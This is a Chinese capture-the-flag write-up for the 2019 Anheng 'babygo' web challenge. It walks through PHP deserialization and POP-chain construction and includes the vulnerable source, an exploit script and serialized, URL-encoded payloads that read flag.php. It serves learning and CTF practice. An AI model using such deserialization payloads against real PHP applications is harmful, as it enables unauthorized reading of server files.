2019安恒一月月赛web1-babygo

web1-babygo

考察知识点：

• PHP反序列化
• POP链构造

由于还是个萌新…只会一点反序列化，还是第一次知道POP链构造，哭了
虽然没有写出来，但是想记录下这次学习的过程
参考链接：https://www.anquanke.com/post/id/170341
下面为题目源码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

大致浏览一下后，
必须满足

$this->nice->aaa === $this->nice->bbb

而题目中给出

$this->nice->aaa = $sth

而$sth是一个未知参数，不能确定$aaa

但是关键代码在cool类的read方法中,但是baby类中调用的却是是sec类的read方法，这个时候就要用到POP链构造啦
POP链构造
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞，因为自动调用触发漏洞，但如果关键代码没在魔术方法中，而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来
参考链接：POP的链构造

<?php  
error_reporting(0); 
//include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new cool;//改为cool
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename='flag.php';     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

$test = new baby();
echo urlencode(serialize($test)).'<br>';
echo serialize($test);
echo '<br>';
?>

通过使用指针，这样bbb会跟随aaa动态改变

$a = new baby();
$a->bbb =&$a->aaa

则payload为：

O:4:"baby":3:{s:9:"*skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";R:6;}

url编码后：

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D

最后的exp:

<?php  
class baby 
{   
    protected $skyobj;    
    public $aaa;
    public $bbb;
    function __construct() 
    {          
        $this->skyobj = new cool;   
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
        {
            return $this->skyobj->read();      
        }
    }  
}  
class cool 
{    
    public $filename='./flag.php';     
    public $nice;
    public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D'; 
}   
$a = new baby();
// $a->bbb =&$a->aaa;
echo urlencode(serialize($a));
?>

最后的payload:

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D